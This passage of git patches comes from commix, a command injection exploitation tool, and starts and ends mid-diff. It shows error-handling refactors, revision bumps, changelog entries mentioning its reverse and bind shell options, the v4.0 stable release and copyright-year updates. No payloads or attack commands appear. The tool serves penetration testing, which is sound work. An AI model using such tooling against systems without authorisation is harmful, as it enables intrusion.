settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return referer """ The host based injection. """ def specify_host_parameter(host): - header_name = settings.HOST - settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + try: + header_name = settings.HOST + settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return host """ The Custom http header based injection. """ def specify_custom_header_parameter(header_name): - header_name = settings.CUSTOM_HEADER_NAME - if settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] - + try: + header_name = settings.CUSTOM_HEADER_NAME + if settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return header_name # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 7b7a6476fa..1325c0fbb2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "117" +REVISION = "118" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6c465179bfce8ebbbba2fcdaea4ce6dd0d90a68d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 30 Nov 2024 16:35:58 +0200 Subject: [PATCH 0518/1023] Minor update --- src/core/injections/controller/checks.py | 5 ++++- src/core/injections/controller/controller.py | 1 + src/utils/settings.py | 5 ++++- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 26014e9f2c..0113351029 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -881,7 +881,7 @@ def continue_tests(err): # Ignoring (problematic) HTTP error codes. if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - + # Possible WAF/IPS try: if (str(err.code) == settings.FORBIDDEN_ERROR or \ @@ -895,6 +895,9 @@ def continue_tests(err): message = "" if str(err.code) == settings.NOT_FOUND_ERROR: message = "It is not recommended to continue in this kind of cases. " + + if settings.START_SCANNING and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: message += "Do you want to ignore the response HTTP error code '" + str(err.code) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e8ad20afbb..2373cdf90d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -397,6 +397,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if checks.procced_with_file_based_technique(): menu.options.tech = "f" + settings.START_SCANNING = True classic_command_injection_technique(url, timesec, filename, http_request_method) dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1325c0fbb2..0a5945c1d3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "118" +REVISION = "119" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -576,6 +576,9 @@ class OS(object): USER_APPLIED_LEVEL = False PERFORM_BASIC_SCANS = True +# Start scanning state +START_SCANNING = None + # Default Temp Directory TMP_PATH = "" From d4c743f27d71403c2c36a2debb47071712d75e64 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Dec 2024 08:57:14 +0200 Subject: [PATCH 0519/1023] Minor update --- src/core/requests/requests.py | 8 ++------ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 7 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 92e148c2cf..0b616e0a8e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -376,17 +376,13 @@ def request_failed(err_msg): return False elif settings.IGNORE_ERR_MSG == False: - # if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: + if continue_tests: settings.IGNORE_ERR_MSG = True - return True else: if not settings.CRAWLING: raise SystemExit() - else: - return False + return False else: if settings.VERBOSITY_LEVEL >= 1: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a5945c1d3..e78caaafb4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "119" +REVISION = "120" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b2ee14aa699cb8c394a9b0310264a38a73d605d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 7 Dec 2024 09:55:13 +0200 Subject: [PATCH 0520/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8749c7fc96..f39c6928c6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor bug-fix regarding tamper script "backticks.py" * Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. * Revised: Major code refactoring regarding session handler. From bade4b33c004071ffd5f7b024f1fe93c81e8bfb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 Dec 2024 17:48:34 +0200 Subject: [PATCH 0521/1023] Potential fix https://github.com/commixproject/commix/issues/988 --- src/utils/crawler.py | 44 ++++++++++++++++++++++--------------------- src/utils/settings.py | 2 +- 2 files changed, 24 insertions(+), 22 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 01ffeb9465..902c5a1ad1 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -102,27 +102,29 @@ def normalize_results(output_href): Store crawling results to a temporary file. """ def store_crawling(output_href): - while True: - message = "Do you want to store crawling results to a temporary file " - message += "(for eventual further processing with other tools)? [y/N] > " - message = common.read_input(message, default="N", check_batch=True) - if message in settings.CHOICE_YES: - filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] - info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - with open(filename, "a") as crawling_results: - for url in output_href: - crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") - return - elif message in settings.CHOICE_NO: - return - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(message) - pass - - + try: + while True: + message = "Do you want to store crawling results to a temporary file " + message += "(for eventual further processing with other tools)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) + if message in settings.CHOICE_YES: + filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] + info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + with open(filename, "a") as crawling_results: + for url in output_href: + crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") + return + elif message in settings.CHOICE_NO: + return + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(message) + pass + except: + pass + """ Check for URLs in sitemap.xml. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index e78caaafb4..47029b6d19 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "120" +REVISION = "121" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 13d51481cb3998fbf9247743217bcc6c5fd2da86 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 20 Dec 2024 08:15:45 +0200 Subject: [PATCH 0522/1023] Updated to v4.0 --- doc/CHANGELOG.md | 4 +++- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f39c6928c6..e9020a81f0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 4.0 (TBA) +## Version 4.0 (2024-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor bug-fix regarding tamper script "backticks.py" * Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. @@ -24,6 +24,8 @@ * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.9...v4.0)._ + ## Version 3.9 (2024-01-19) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. diff --git a/setup.py b/setup.py index 8050b15f93..c7b142998c 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='4.0-dev', + version='4.0-stable', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 47029b6d19..8e1df78f4c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -263,7 +263,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" REVISION = "121" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 4231c6222b3d6f807506c1ac7ca019a4062fc820 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Jan 2025 08:19:23 +0200 Subject: [PATCH 0523/1023] Update copyright year --- LICENSE.txt | 2 +- commix.py | 2 +- setup.py | 4 ++-- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- .../injections/blind/techniques/time_based/__init__.py | 2 +- .../blind/techniques/time_based/tb_handler.py | 2 +- .../blind/techniques/time_based/tb_injector.py | 2 +- .../blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/enumeration.py | 2 +- src/core/injections/controller/file_access.py | 2 +- src/core/injections/controller/handler.py | 2 +- src/core/injections/controller/injector.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- .../injections/results_based/techniques/__init__.py | 2 +- .../results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/rev.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 10 +++++----- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 96 files changed, 101 insertions(+), 101 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 44793fc81b..1101c69074 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2024 Anastasios Stasinopoulos +Copyright (c) 2014-2025 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index d7e607bbbe..f6596e9a98 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/setup.py b/setup.py index c7b142998c..db850d1775 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -17,7 +17,7 @@ setup( name='commix', - version='4.0-stable', + version='4.1-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/__init__.py b/src/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index c0b8a53bc5..536f70d678 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index 321bbe14d5..e4adf76cec 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 68f7900aaf..46c6429d8d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 5d5b83bf4d..2babbe79aa 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 6856079054..140aa9111b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0113351029..2a8ddf9d21 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2373cdf90d..801b885cc3 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index 7771eb9c4d..0f1fec9f0a 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index 4ace143fac..64e64f57f6 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 68d23ce25c..e199fa3a74 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index f9c038f027..f0560665e4 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 07a85d3409..f16d022116 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 4689ad7ba0..d99990a901 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index 